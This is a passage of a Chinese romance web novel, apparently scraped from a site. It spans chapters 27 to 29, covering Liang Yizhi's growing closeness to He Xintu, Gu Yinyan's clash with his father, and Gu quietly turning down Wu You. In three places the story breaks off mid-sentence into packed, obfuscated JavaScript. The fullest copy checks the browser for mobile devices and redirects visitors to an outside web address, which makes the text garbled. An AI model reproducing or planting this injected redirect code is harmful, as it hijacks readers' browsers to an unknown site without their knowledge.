d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真的。”她的眼睛落在对面那高挺鼻梁的下方,抬手,又指了指自己的嘴,“一般人没有你这么好看的唇形和气色。” “而且,我不觉得你在讨好我,你也不需要讨好所有人。相反,见过你笑容的人才应该觉得他们要讨好你才是。” 空旷的马路阒静,她的音色像悦耳的风铃,随风摇曳,敲开了夜色的一扇窗。 “欺负你的人,错过你的人,那是他们没本事。” 她稀松平常地说着那样宽慰人心的话语。 贺新图爱调酒,尝过很多酒,混过许多味道,却从未尝过这样滋味丰富的一款。 酣畅的,甜涩的,又带着从舌根里漫上来的苦。开始时被蒙在鼓里,一口下去,却是让人心室满胀的。 回味起时,从胸腔里浮上细密的气泡,一点一点刺激着心房。 秋风拂过,金黄的银杏叶飘落,一场璀璨的大雨浇下,叶片掉在了梁亦芝的头顶。 贺新图伸手,摘下了那薄薄的叶子。他捏着叶柄,顺着梁亦芝的鬓发,把那扇形的小叶子插在她的头发上。 干燥的手指顺势下来,食指轻触到她耳廓。 “怎么办?”贺新图垂眼,看着面前的女孩,掌心贴在她的脸颊上,拇指轻轻拂着细腻的皮肤。 “我现在,好像真的有想要讨好的人了。” 27. 高脚杯 自从那天晚上回去之后,梁亦芝和贺新图的联络开始多了起来。 下班回家的时候,梁亦芝抬头,看见蓝色广阔的天空,漂浮着大团的白色云朵。 她扯了扯肩膀上的背带,把琴背好,又掏出手机打开相机,微抬角度,对着最大团的那朵云,咔嚓一声。 她把照片发给贺新图。 贺新图回得挺快:【天气真不错。】 【NONO。】 梁亦芝说:【有没有觉得这朵云很像什么?】 【?】 她刻意卖关子。那头静默几秒,手机再次震动。 梁亦芝打开一看,瞳孔微微睁大,唇角暗暗浮起笑意。 他的心有灵犀来的很直接。 她迅速的扫了一眼屏幕,又把手机屏摁回胸口,四下瞥了眼。 周围自然不会有行人注意到她。梁亦芝脸微红,若无其事地摸了摸下巴,才重新低头点开微信。 贺新图发来了一张自己的照片。 前置摄像头怼着额头,领口遮着下半张脸,梁亦芝才发现,虽然贺新图是单眼皮,但他的眼睛其实很大。 蓬乱松散的刘海盖在纯净的眼睛上方,发型因为微微的镜头畸变显得更加浓密厚重。 【你说这个?】 梁亦芝没忍住笑出了声。她问:【这是你刚刚拍的吗?】 【嗯。刚刚睡醒。】 梁亦芝看一眼渐暗的天空,方才的云朵已经飘走,被升起的黑暗逐渐吞没。 【这会儿才刚睡醒?】 对方发来一条语音,声音慵懒低哑:“嗯。刚刚补觉完。晚上还得上班。” 对哦,忘了他是晚上才上班的了。原来还以为雇了员工就不用太操心了呢。 梁亦芝礼貌地回了一条语音:“老板辛苦了。” 这些天像这样的对话很多,总让她觉得两个人的距离,越来越近了。 又过了几天,贺新图发来消息,问她蒋徊什么时候需要来酒吧团建,要不要在这之前,先带她的朋友一起来酒吧认识一下。 梁亦芝应下了,在他们四人的小群里发消息转达: 【明天晚上都有时间吗?要不要一起去HOOK?】 【贺老板叫大家一起。】 何嫚率先响应:【去去去!!我最近忙得头大,正好让我好好放松一下!】 她又在群里艾特梁亦芝打趣,同时引用了上一条消息: 【你们什么时候变这么亲密了的?瞧你这话说的,一股家属感。】 梁亦芝回了个发呆的表情:【我就是个传话的。】 蒋徊也吱声了:【我贺兄请客,不能不给面子!那咱们,八点酒吧见?】 何嫚回:【谁跟你称兄道弟,经过人家同意了么?】 蒋徊:【我跟贺老板是过命的交情!】 【而且那天在火锅店是为了谁大打出手的?又忘了是吧?】 蒋徊在底下不停艾特何嫚,发了一长溜,嚷嚷着这顿不应该是贺新图做东,应该何嫚请客表示表示。 何嫚吃瘪,遭不住他消息轰炸,松口答应了。 大家纷纷响应,只剩一人没冒泡。 顾寅言看了眼手机,无视一串无意义的纷争,视线在上方对话框,那句“贺老板叫大家一起”几个黑字上停留。 他关了手机,丢到办公桌上。 手心空了,总想再摸点什么东西出来。五指张开又收紧,指间无声地摩搓着。 自从那天在家门口被梁亦芝发现之后,他答应过梁亦芝,不会再抽烟了。 顾寅言捏了捏鼻梁,压下心底的燥意,决定叫小唐去买杯咖啡回来。 小唐的确是个称职的秘书。任务还没来得及传达下去,办公室的门就被扣响。 小唐走进:“顾总,顾董已经到了。原本约的会面时间是五点,但顾董那边想叫您提前过去。” 顾寅言眉头微蹙:“现在?” 他想起,某人明明平时三令五申时间观念与规章制度,到自己身上反倒成了纸上谈兵。 算了。 毕竟父子之间选择在公司见面,还要提前约时间这事,本身就已经够稀奇了。 顾寅言抬手看一眼腕表,最后还是起身,走出办公室。 小唐刚跟上他脚步,顾寅言示意她停下:“你不用跟来,去忙你的吧。” 他独自坐电梯来到顶层。 出了电梯门,缓步迈向走廊尽头。 顾寅言停在门口,抬手扣了两下,没等到允许,就按下了指纹,推开两扇沉重的铝木门。 这里是整栋建筑最大、最宽敞、采光最为明亮充足的一间办公室。 现在正值一天中阳光最盛的时候,光线透过玻璃窗,肆意地铺进来。整间办公室成了只有阳光、没有生机的花房。 一个人影站在室内最中央,那背影同顾寅言的像是复刻出来的。 只不过要再弯一些,更矮一些。 他背对着他,坐在茶桌前淡淡开口:“寅言,你这的茶一般呐。” 如果只听声音,会让人觉得这是个正值壮年的中年人。 外人通常鲜少能看出来,顾世明已经年近六十。这全靠他常年坚持的养生锻炼,和这一把清越如玉的好嗓子。 顾寅言走过去,兀自在沙发里坐下:“这里不是茶室。想喝茶就去别的地方。” 对方瞟了他一眼,颇为不满:“你什么时候能改改你跟长辈说话的习惯。” 顾寅言重新道:“想喝茶,就请你去别的地方。” 他多加了一个字的敬语,重音落在请字上,却把话变得更加不客气。 顾世明面不改色,斥他一句:“教了你二十多年,就教给你这样的礼仪。” “我不记得你有教过我什么。” 他们父子大约一年没见了。但从顾寅言十五岁回到顾家开始,他们俩就一直维持着这种水火不容的状态。 顾世明端着架子,要在他面前扮演一个声色俱厉的好父亲。可顾寅言却只拿他当可有可无的空气。 顾世明也不生气,仍旧拿着姿态。 “我问你,回美国的事,考虑的怎么样了?” 顾寅言说:“我说过了,那边的事情我不想插手。” “你爷爷现在重病躺在医院,所有人对我这个位置虎视眈眈。你倒好,两手一摊赖在国内,守着你这座破庙,准备过一辈子了?” 他打量着顾寅言,看见他那与自己相像的外形与气质,又有几分冷静下来。 至少在这个家里,他是继承了他唯一血脉的人,顾寅言在他身边,他才多些资本去和其他人竞争。 顾世明抿一口茶。杯口抵在唇沿,他啜茶的时候没有发出一丝声响。 顾世明道:“你知道吗?这些年,对顾家有那么些了解的人都说过,你跟我很像。” “虽然小时候,我确实对你疏于管教,但那改变不了你骨子里还是我的基因。所以不管把你放到什么环境里,你都能生长得很好。” 他跟他开起玩笑:“你应该感谢我这个父亲,是不是?” 顾世明低头饮茶,眼皮却掀起看过来。年龄的缘故,他眼窝比年轻时更加内陷,胶原流失,生出了多道眼皮,层层叠叠,令眼神都变得幽邃深沉。 那一双嵌进骨肉的眼睛,就是基因的最好证明。 顾寅言没心情听他在这跟他论道生物学:“如果你是来炫耀你的基因优势的话,你不应该来这。应该去医院,把你优秀的精.子捐给有需要的人。” 顾世明面上不显,听见这冲犯的话语后,眉头还是不可抑制地抽动两下。 顾世明稳稳地磕下茶杯,决定换个轻松一点的话题:“你还在跟那个小丫头联系?” “她已经长大了,不是小丫头。” 见他这反应,顾世明又了然。 他继续说:“你们俩也认识得够久了。我上次跟梁佑德聊天,还听说她交了男朋友。” 顾寅言轻描淡写:“分手了。” 顾世明双手搭在真皮沙发的两侧,眯着眼睛回忆梁亦芝的模样: “好歹也是梁佑德的女儿,以前我还以为她最少能成个大提琴家,才鼓励你们在一块玩。没想到,她刚从国外回来就找了个乐团养老,跟你公司楼下这帮人没差。” 第一次见到梁亦芝的时候,她和她父亲一块,坐在他对面,双手老老实实地放在大腿上,模样战战兢兢。 顾世明想象中的钢琴家梁佑德的女儿,应该像一只装着红酒的高脚杯。骨骼纤细,姿态高昂,一言一行都端庄优雅,散发着醇厚浓烈的艺术气息。 梁亦芝虽然长得漂亮,气质也不差,只不过还透着股脆生生的稚嫩,跟顾世明设想中失之千里。 似乎姿势不太舒服,顾世明把一条腿叠到另一条腿上,手指在沙发上敲了敲。 他索性直接点破:“寅言,不要浪费时间了,她根本不适合你。” 听见这话,顾寅言才难得地分给他一眼。 顾世明笑了:“恐怕也只有这小丫头看不出来吧。她既单纯又天真,不谙世事,性子又莽。她跟你在一起,能给你带来什么帮助吗?” “况且如果她对你有意思,你们早就在一起了。你何苦要看着她跟一个又一个人谈恋爱,你就不难受吗?” 想到这,顾世明又是讥诮地一笑:“还是说你喜欢做这种不道德的人,也很享受这样的关系?” 他话音落地,顾寅言依然岿然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我听说你小时候在别人家,吃饭的时候连爱吃的菜不敢主动拣,因为要看饭桌上其他亲戚小孩的脸色,甚至最后还被人欺负。” “就连喜欢的人,也不敢跟别人抢。我让你回美国,你又不愿意,非要待在这。是怕那边的产业你掌控不了,还是觉得自己承受不了失败的后果?” 顾寅言越听越觉得有意思。 他眉梢一挑:“你从哪道听途说的版本?那个姓张的跟你说的?” “那他有没有告诉你,那天是因为我看到了,他那个小老婆做饭的时候没弄干净。最后除了我,吃了那道菜的人全都食物中毒了。” 顾世明脸色微变。 顾寅言:“至于你说的被人欺负,那是因为他们知道了我故意隐瞒,所以想报复我。不过后来,我把你给我买的新衣服和游戏机全都送给他们之后,就再也没有人闹过我了。” 在张家的那段日子,因为孤身寄人篱下,每一件事情顾寅言都记得很清晰。 他的养父张济有一个在外养着的情人,因为那女人怀了孩子,张济把她带回家里,就这么不顾他人眼色,独自享受着一夫两妻的快活日子。 为了巴结张家人,那女人想尽办法。 只是心是好的,却没想到酿成了大祸。 事后,那些小屁孩看顾寅言极为不爽。 顾寅言的表情和气质天生就招人恨,再加上一家人就他逃过一劫。小孩们看顾寅言是寄住的,性格安静话又少,没人给他撑腰,就变着法儿地欺负他。 顾寅言知道,他们经常逃学去网吧,于是就故意在他们面前,不小心掏出父亲给的游戏机,说:“我用不上,你们要是喜欢的话,就拿去吧。” 那帮小孩子有了事儿做,自然也就没人来烦他了。 顾寅言站起身,俯视父亲:“你说我没有胆量,只不过是那些人还不至于到我需要跟他们争抢的地步。我不喜欢自找麻烦。” “我也奉劝你,都什么年代了,别再搞什么穷人富人论了。”他绕开桌子,站到顾世明身后,在沙发的靠背上拍了两下。 真皮摩擦,发出两声细微的皮革摩擦的声响。 “况且你也清楚吧。只有穷人抢起东西来,才最疯狂。” 顾寅言话里意有所指,语气轻快地跟他告别:“我晚上还有事。先走了。” 顾寅言长腿阔步,往门口去。 办公室内铺了全域地毯,走在那上面,脚步声全被吸进去,步履都失去重量。 顾世明对他狂放的态度极为不满,怒目圆睁,嗓音沉下来喊他:“我还没说完!你去哪?” 顾寅言扬手:“学习富人陶冶情操。去听个音乐会。” 28. 护颈枕 排演完今天的最后一首曲目,德沃夏克的第九交响曲,演出前的走台终于结束了。 梁亦芝的神经和琴弦一样,绷的紧紧的,又被琴弓来回反复地挂拉,已经头昏脑涨,此刻终于得到喘息的机会。 坐了两个多小时,回到休息室,她歪着头,捶了捶因为长时间低头而发酸的肩颈。 吴悠在一边捶着腰,两个人像刚从康复中心出来的。 吴悠弓着背:“看来我的音乐生涯要因为我的腰间盘突出画上句号了。” 梁亦芝说:“挺好,看来咱们离开乐团以后还能在理疗中心见面。” 说完之后两人都笑了。 乐团的首席施若诚经过,看见她们关心道:“还好吗?” 吴悠挺直腰背:“没事施哥,老毛病。” 施若诚点点头。过了会儿,他拿了个电热水袋过来,递给吴悠说:“可以先敷一下。” 吴悠惊喜:“这么贴心施哥?那我就借用一会儿,等下演出前还你。” 施若诚摇摇头:“没事,你用着吧。热水袋敷着也只能稍微缓解一会儿。” “谢啦,已经解我们燃眉之急了。” 施若诚看了她两眼,想了会儿还是开口:“我看你似乎有点脊柱侧弯?” 吴悠一愣:“啊?是,很早之前就这样了。” “去医院看过了?” “对。”吴悠诚实回答,“不过医生说也没法根治,只能做运动缓解一下。” 施若诚道:“我认识一家中医,正骨按摩的技术很好,或许能帮你矫正。脊柱侧弯不是小毛病,一定要重视。回头我微信上发给你。” 梁亦芝在一旁,托腮看着二人,察觉出一些微妙的东西。 施若诚刚来乐团不久,她们跟他还不太熟,仅有工作上的交流。吴悠对此受宠若惊,笑得尴尬:“这怎么好意思?” “没事的。”施若诚满脸正直,又对一边的梁亦芝说,“你也是,小心得肩周炎,最好一起去看看,小病拖久了会成顽疾。” 梁亦芝笑了声,应道:“好,谢谢施哥。” 等施若诚走远后,两个人的头又凑到一块。 梁亦芝说:“施哥真贴心。是吧?” “你别用那样的眼神看我,”吴悠道,“我浑身难受。” 梁亦芝笑着拍她肩膀,“你看施哥人多好,还知道爱屋及乌,怕我看出来了,还着补一句。” 不用梁亦芝说,吴悠也感觉到了施若诚对自己的特殊照顾。 从他进入乐团之后,就经常和吴悠搭话。不过施若诚为人沉稳,话并不多,每次都是有事论事,不会和她闲聊八卦,浪费彼此的时间,因此吴悠也并不是那么排斥他。 梁亦芝问:“你不是想找对象吗?怎么不考虑考虑施哥?” “我对施哥不来电啊。”吴悠挠挠脸,“而且你知道的,我和这种领导型人格天生就八字相冲,什么指挥什么首席,不行不行不行……” 施若诚是作为乐团的小提琴首席被招进来的,扮演着仅次于指挥的统领人角色,指导大家排练,承担了协调工作。 吴悠从小就怕老师,长大了怕指挥。现在出现了一个介于老师和指挥之间的人物,还对自己有好感,她自然是避之不及的,也没把两人的关系往那方面想过。 吴悠衡量着其中的利害:“而且我们都是一个单位的,不管谈恋爱还是分手,之后会很尴尬啊。” 梁亦芝理解她的心情:“那你现在有合适的应付你爸妈催婚的人选了吗?” “没呢。”吴悠叹气,“上次我朋友给我介绍的也不行,话太密了。你说我一直找不到,难道真的是我要求太高了?” “你都有什么要求?” “就……身体健康,不过我喜欢壮一点的;外貌端正,最好是帅一点;话不要太多,但情商不能低;最好还能爱干活,帮我包揽家务。” “对了,最最最重要的一点。”吴悠滔滔不绝,“不能太穷。” 梁亦芝抿唇,摸着下巴沉思:“我好像知道你单身的原因了。” 吴悠泄气,肩膀都跟着塌了下来。 晚上七点半,演出正式开始。 这次音乐会的指挥是来自奥地利的著名指挥家,在他的发令调度下,一首首乐曲奏响,一个半小时很快就转瞬即逝。 演出结束时,观众掌声雷动,迟迟不歇。指挥家鞠躬退幕后,又再次返场。 整场音乐会彻底结束后,演奏员们才下了台,回到幕后。 梁亦芝收拾自己的东西,换好衣服,发现顾寅言刚给她发了消息,说在外面等她。 梁亦芝不敢怠慢,加快收拾。 吴悠也收整好,拎着琴盒来到她身边,问:“我跟你一块儿出去呗?我看施哥在那徘徊,眼睛一直瞟我,我怕他说要送我回家。” 梁亦芝笑她,之前还说自己没出息,这会儿反倒也当起缩头乌龟了。她问:“你今天没开车?” “没有,我今天中午从附近过来的。” “那你就直接拒绝他呢?” “我不敢啊。”吴悠一跺脚,“你看施哥那张脸,他平时对我也挺好的,我是真狠不下心来。” 梁亦芝侧过身,往吴悠身后一探头,恰好跟施若诚的目光对上,尽管他立马就把眼睛移开了。 施若诚长相温润,一副老实人的样子,说话语气也板正,一身正气,确实让人不忍心对他说什么重话。 梁亦芝挎上她的手臂:“苦了施哥了。那你就说要跟我一起回家吧。” 来到音乐厅外。 门口人不多,梁亦芝一眼就捕捉到了远处停着的黑色轿车。 车边站着个清隽的身影。 秋风萧瑟,吹得他衣袂翻飞,身子却如同一座沉钟,稳稳地立在那。 吴悠看着那个人影晃了神,问梁亦芝:“你说朋友在外面等你,是这个人?有点熟悉。” “对,之前你见过的,顾寅言。” 走近了,那张脸迅速唤起了吴悠的记忆。毕竟这幅相貌,只要见过一次的人,应该都很难忘记吧。 梁亦芝上前,想起吴悠说自己今天没开车,她问顾寅言:“顾少爷,今天再带一个人可以吗?” 吴悠当即推辞:“不用不用,不麻烦你们。” 梁亦芝双手合十,朝顾寅言搓了几下:“顺路带一个吧!你看人家女孩子晚上一个人回去多危险。” “真的没事,而且咱们背了两把琴呢,放不下的……”吴悠在后面拉了她几下。欠梁亦芝的人情没事,但是她不好意思欠顾寅言的人情。 顾寅言没多说什么,看了吴悠一眼道:“把琴放后面来吧。” 好在顾寅言的豪车足够阔气,后备箱很大,宽高深度都足够,可以把两把琴斜着平放进去。 他们三人站在车后方。合上后备箱,正欲上车时,旁边有辆车打着灯从后方过来,顾寅言默不作声地站到了外侧。 吴悠被后方的亮光吸引,下意识想回头,眼前猝不及防出现一道宽阔的人墙。 她的鼻尖就在对方风衣衣领的位置,快要碰上,她闻到一股淡到只有这个距离才能嗅到的香味,吴悠的心脏狂跳了起来。 顾寅言没什么表情,只是提醒她:“看路。” “哦,好。”吴悠哆哆嗦嗦地转回去。 她们俩一起上了车,梁亦芝陪着吴悠坐在后排。 顾寅言问:“地址?” 吴悠报了个小区的名字。 顾寅言发动车子,又从副驾驶拿了个护颈枕,递到后面。 梁亦芝接过。 她后颈酸胀,正需要这个:“还得是你。” 她又从自己身侧,抽出后座的抱枕,给吴悠说:“你也垫一下,会舒服一点的。” “好。” 车子驶出音乐厅的大门,梁亦芝倾身,扒着驾驶座后背,问前面的顾寅言:“顾寅言,那个……你看到群里消息了吗?” “嗯,看到了。” “那你明晚会去吗?”她在说明晚约在贺新图的酒吧见面的事。 “去。”顾寅言回答得果断,“去见见你电视剧里的男主角。” 梁亦芝听出来了,他在嘲讽自己因为贺新图上头的事情。她抿抿唇,拍了下车座后背说:“……你别瞎说。” 跟顾寅言说完,她又和身边的吴悠解释:“我们在说,明天约了一个朋友见面的事。他开了一家酒吧,明天晚上要带朋友一起认识一下,你要不要一起去?” 吴悠一直在一边,默默听着他们的谈话,听了梁亦芝解释,才明白他们在说什么。 其实她并没有开口问,但每次和梁亦芝在一起的时候,如果这个场合里她是其他人之间唯一的联系,她会主动跟你分享他们正在聊的话题,让你一起加入进来。 从来不会冷落任何一方。 吴悠觉得暖心,点点头,又摇摇头:“不用不用,我明天晚上有安排了。” 梁亦芝也没有强求。她又开始说起今天排练时候的故事,跟顾寅言说她们中午经过的一家烧烤摊看起来很不错,如果下次他再来,晚上他们可以一起去那里吃夜宵。 她思维尤其发散,又想起那家店旁边有个理发店,里面有个长相很帅气、发型很潮的托尼。 顾寅言不以为然,说她是把顾客认成理发师了。 梁亦芝于是向吴悠求证:“真的很帅啊,是不是吴悠?就那个金色头发的,我们今天还看到他呢。” 她转过头时,吴悠正直愣愣地盯着前方。听见梁亦芝问自己,她才恍然回神。 “啊?什么?” “我说那个托尼啊,我们今天看到的那个。” “哦哦,”吴悠这下才回应,“确实很帅,气质很突出。” 梁亦芝发觉了,吴悠的状态有点不对劲。 她悄悄摸出手机,给她发消息问: 【怎么了?】 吴悠拿起震动的手机回复:【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15400510|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啥?】 【看你心不在焉的。】 【没事……就是这车,有点烫屁股,觉得太麻烦你的朋友了。】 梁亦芝知道她害羞,局促得上车之后到现在都没变过坐姿,她调侃道: 【是屁股烫,还是脸烫?】 被梁亦芝一眼看穿,吴悠面色更加红温,悄悄伸出手捏了她一下。 思虑几秒,吴悠又在手机上敲下字,给梁亦芝发送过去: 【你上次说,你朋友他……好像还没有女朋友?现在也没有吗?】 【没有啊。】 【那我能不能……跟他认识一下?】 梁亦芝若有所悟:【你对他有意思啊?那你怎么一句话都不说!】 吴悠:【这……刚认识,不知道聊什么嘛。】 梁亦芝心说,这有什么难的。 朋友好不容易有个心仪对象,身为联络人,她总得帮人家牵根线搭个桥。 思来想去,梁亦芝替吴悠找了个两人之间的共同点,试图撬开他们俩的嘴: “吴悠,我记得你家里是不是养狗了?” “对。” “什么品种的?” “一只博美。” “博美超可爱的啊。”梁亦芝顺势引出。“顾寅言家里也养了宠物,多有缘啊,是不是很巧?” 顾寅言见话题莫名扯到了自己身上,他掀起眼皮,扫了后视镜里的人一眼。 吴悠扯扯嘴角,冷汗直冒:“是很巧。养的是什么宠物?” 梁亦芝没替她回答,拍了拍座椅。 顾寅言轻轻吐出一个字: “鱼。” “……” 亏得梁亦芝能想出这种共同话题来,鱼和狗,甚至是两类栖息环境的动物,这到底哪儿能称得上是什么很巧的缘分? 梁亦芝贴心地补充:“他家里有一个很大的鱼缸,特别漂亮,养了很多种鱼。” 吴悠:“我没养过鱼,鱼好养吗?” “不好养,隔三差五就死一群。”顾寅言说,“还是养狗吧。” “……” 梁亦芝在心里暗骂顾寅言,怎么这么煞风景,聊天都不会聊?吴悠好不容易迈出艰难的一大步,又把脚尖给缩回去了。 梁亦芝再想试图炒热气氛,也是收效甚微。 她想,不能这样,她得鼓励吴悠一把。 梁亦芝决定干脆先下车,不做电灯泡,把空间还给他们两个人。说不定她不在了,吴悠和顾寅言就都没那么多聊天的顾忌了。 梁亦芝心上一计,忽然弯下腰,整个人埋在大腿上说:“哎呀……我肚子有点疼。” 顾寅言眉头一紧,“你晚上吃的什么?” “……没什么,就团里准备的套餐。”梁亦芝佯装难受,捂着肚子,真假半掺地回答,“顾寅言,要不你先前面右转,先送我吧,等会儿你再送吴悠。” 吴悠一惊,朝她看过去。梁亦芝埋在腿间,把头转过来,朝她努努嘴。 她和吴悠家的前半程路都一样,到前面那个路口就是两个方向了。她得让顾寅言在这拐弯,把她先送回去。 吴悠顺着梁亦芝的背,看似在安抚她。她打心底里感谢梁亦芝麻的良苦用心。 只是心想,会不会演的太过了…… 顾寅言看不见后座发生的这些。 他又问:“家里有药么?” 梁亦芝饮食习惯不好,又爱吃不干净的东西,得过一两次肠胃炎。顾寅言见她身子都深深弯下去,担心会不会又是旧病复发。 “去医院吧。” 他刚想打转向灯,梁亦芝急忙抬手说:“不是不是,我是……拉肚子,总之你先送我回去吧。” “……只是拉肚子?” “真的。”梁亦芝说,“回去上个厕所就没事了。” 在她强烈要求下,顾寅言最后还是把车子开到了梁亦芝家小区外。他刚想开进去,梁亦芝立刻道:“没事,不用送了,我自己进去!” 她下了车,顾寅言跟着下来,替她从后备箱把琴取出来。 梁亦芝背上琴,抬头发现,顾寅言的眼睛从头到尾,一直在盯着自己的脸看。 那双眼睛,让她回想起了在她父母家门口的那个晚上。他用一双冰凉而探究的眼睛,一瞬不瞬地看着她。 因为做贼心虚,梁亦芝略显不自然地低声问:“怎么了?” 顾寅言一句话都没说,只是深深地看了她两眼,回到车上。 以往回家,顾寅言都会把她送到楼下,等她上楼了才离去。可今晚他甚至连告别的话语都没对她讲,直接就上了车。 不适应的感受,这会儿才后知后觉地浮现上来。 梁亦芝站在路边,朝车窗内的人挥挥手,扯着笑脸目送他们离开。 可她心里却因为顾寅言的那个表情变得又闷又堵,唯一的缺口像被油腻子糊住了一层,怎么抹也抹不开。 她是不是做错了什么? 29. 塔罗牌 梁亦芝下了车后,车内只剩下顾寅言和吴悠两个人,寂静让吴悠有直想跳车逃出去的冲动。 她镇定开口,先发制人,“那个……辛苦你了,我住的有点远。” 然而顾寅言没回答她的客套,而是问: “她平时对你们说谎也表现得这么夸张么?” 他一语中的,吴悠顿时从脖子根都漫上一层淡淡的红色,她磕磕绊绊地回答:“哈哈哈……你真会开玩笑……” 前方路口红灯,顾寅言刹了车,稳稳当当地停在停止线前,问:“你有话要跟我说?” 吴悠此刻只想钻到车座底下去。 她预想到了她和梁亦芝的借口很拙劣,可她没想到顾寅言会这么直白地说出来。 她索性放下面子,干脆道:“好吧。既然你都猜出来了。我也就直说了,我就是想跟你多认识一下,就当交个朋友。” “我没有别的意思,你别被吓到啊。” 顾寅言道:“不会。” 听见他的回答,吴悠总算松一口气。 想起和顾寅言的第一次见面,吴悠问:“你跟亦芝很熟吧?那时你拿了一大捧花送给她,我还以为你是她的新男朋友。” “不过当时亦芝跟谢昀分手还没多久,我还以为她会消沉一阵,但她的状态看起来还蛮好的。” 话音刚落,她听见极轻的一声: “他算什么。” 吴悠被那突如其来冷冽的语气吓到,愣了一秒:“嗯嗯?” “一个出轨的男人,没什么可留恋的。” “啊……也是。” 夜里没什么车,顾寅言脚踩油门加速,在路上飞驰。 吴悠自认她的聊天计划很失败,他们之间的话题干巴巴的,基本都围绕梁亦芝和乐团,那是两人之间仅有的联系。 抵达目的地下了车,吴悠推门,发现顾寅言也下来了。他绕到车后,替她把琴拿出来。 吴悠接过,客气地道谢:“今晚辛苦你了,大晚上的还绕路送我一趟。” 她鼓足勇气,问对面的人:“大家都是朋友,不知道我能不能加一下你的微信?下次,有机会的话请你吃饭答谢——” “吴小姐。” 顾寅言忽然唤了一声她的名字,吴悠被那道磁性的嗓音戳中,她心一颤。 顾寅言开口,干脆利落:“我不喜欢那些弯弯绕绕的,所以就直说了。” “你很坦诚,所以我也有必要把话说清楚。不用在我身上浪费时间。” 他的拒绝很简略,也很直白,快得让吴悠都没明白发生了什么。 吴悠双手紧紧攥着背带:“加个微信也不行?” “没有那个必要。” 顾寅言的意思很明白。 她低头,盯着脚尖。不用再多问,她已经充分领悟到了那语气下完完全全的言语路绝。 原本在看到顾寅言今晚的一言一行时,她还猜想对方是个温和贴心的人,就算没机会,至少应该不会拒绝她加联系方式的请求。 只是没想到他如此铜墙铁壁,谦和的外表下,藏着一颗冷冰冰的心。 吴悠向他道歉:“抱歉啊,是我太唐突了。” “我能不能问最后一个问题,”吴悠说,“你是不是有喜欢的人啊?亦芝没跟我说过,所以我以为……” 吴悠话哽在喉咙里。 顾寅言站在她对面,发丝在风中轻轻地朝一个方向微微飘起,发梢下那双眼,清冽得如明镜。 头顶是金黄的落叶,他站在树下,美丽地像一幅油画中的场景。 吴悠突然有种很强烈的感受。她不是这幅画的创作者,也不可能是画中人,她只是一个普普通通的旁观者。 她看着那双意味不明的眼睛,心里忽然有了答案。 画中人动了动唇,她听见他轻声道: “替我跟她保密吧。” - 第二天,来到乐团。 梁亦芝心不在焉的。等到上午排练结束,她实在按耐不住,才抓了吴悠问: “你昨天跟顾寅言,聊的怎么样?” 吴悠放下琴弓:“多亏你,我都忘了,这会儿又想起来了。” “怎么说?” “当然是人家一眼就看出我们互作僚机,把我彻彻底底地拒绝了。” 梁亦芝抱歉道:“不好意思啊,我表现的太明显了。” 顾寅言果然看出来了。所以昨天晚上,他才会不高兴,不愿意跟她道别吧。 吴悠并不在意:“没事啊,我就是跟你说一声。谁让人家那么了解你,我看你手一动,他就知道你想要干什么了。我们怎么可能瞒得过他?” 梁亦芝想也是。 从小到大,关于她的什么事情,她都会跟顾寅言讲。顾寅言就算不是她身体里的蛔虫,也算得上她大脑里的一道脑电波了。 这种感觉真不是滋味。 吴悠又说:“你俩关系很好吧。我看谢昀不在之后,他经常出现在你身边。” “是。”梁亦芝大方承认,“他考虑问题很周全,人又靠谱仗义,所以我还挺依赖他这个朋友的。” “那既然他人这么好,而且还长得这么帅,你们认识那么久了,为什么没在一起?”吴悠问出内心的疑惑。 梁亦芝一怔。 这么多年来,她没见过顾寅言身边有除她以外固定的女性,也从没想象过自己跟顾寅言在一起的场景。 想到顾寅言如果抱她、吻她,那是一个诡异到极致、能让她吓掉一身鸡皮疙瘩的事情。 在梁亦芝的人际关系认知里,这简直有悖伦理。 梁亦芝说:“他对我算是家人一样的存在,跟我父母也认识。我拿他当哥哥、当长辈,怎么可能跟他在一起?” “那他呢?他也不喜欢你?” “不喜欢吧?” “你怎么确定呢?”吴悠还是问。 梁亦芝犹豫:“就……喜欢一个人的话,不应该满心满眼都是她,看她穿什么都好看,做什么都喜欢,忍不住地想夸她,想把自己的一切都给她吗?” 在她印象中,顾寅言从没夸过她什么。 她换了新裙子、买了新耳饰,他从来没发现,也不会主动去提。如果梁亦芝主动展示,顾寅言只会全然不知地冷着脸反问:“所以呢?” 她会因此跟他置气上半天,然后开解自己,干嘛抛媚眼给瞎子看?索性哼哼两声,不搭理他。 顾寅言也没有给过她什么。只是每次她需要的时候,他都刚好在她身边。 仅此而已。 这不就是朋友之间的关系吗? 梁亦芝对此深信不疑。 “况且,如果要在一起,早就在一起了吧……干嘛要互相隐瞒自己的感情那么久?”她耸耸肩,“反正我不喜欢不诚实的人,那不是我的style。如果是我,我喜欢的人就会主动追。” 吴悠了然,没有附和。她眉毛上扬,点了点下巴。 梁亦芝对她的反应不满:“……你干嘛不说话?” “没有啊。” “明明就有。说!你想什么呢?” “什么也没有,嘻嘻。诶诶诶,你别弄我啊!别乱挠——” 两人嘻嘻哈哈地打闹,又吃了顿饭,混过了午休时间,继续下午的排练。 排练结束,梁亦芝回家,换了身衣服化好妆,直奔HOOK。 进了HOOK的大门,梁亦芝看到贺新图站在吧台里,正在和其他酒保们聊天。他似乎是注意到了门口来的人影,越过对面的人,视线直达最远处。 